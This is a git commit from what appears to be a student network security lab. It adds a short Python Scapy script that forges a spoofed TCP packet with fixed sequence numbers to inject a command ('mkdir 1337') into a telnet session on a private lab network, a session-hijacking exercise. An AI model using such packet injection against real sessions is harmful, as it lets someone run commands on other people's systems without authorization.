Lab1 only scripts; Lab2 full complete be4 redone

This commit is contained in:
Marat Kharitonov
2024-03-04 17:28:30 -05:00
commit eeebd25b5e
10 changed files with 839 additions and 0 deletions

View File

@@ -0,0 +1,8 @@
#!/usr/bin/env python3
from scapy.all import IP,TCP,send,ls
ip = IP(src="10.3.0.3", dst="10.3.0.4")
tcp = TCP(sport=60124, dport=23, flags="PA", seq=1386786213, ack=482847772)
data = "\r mkdir 1337 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)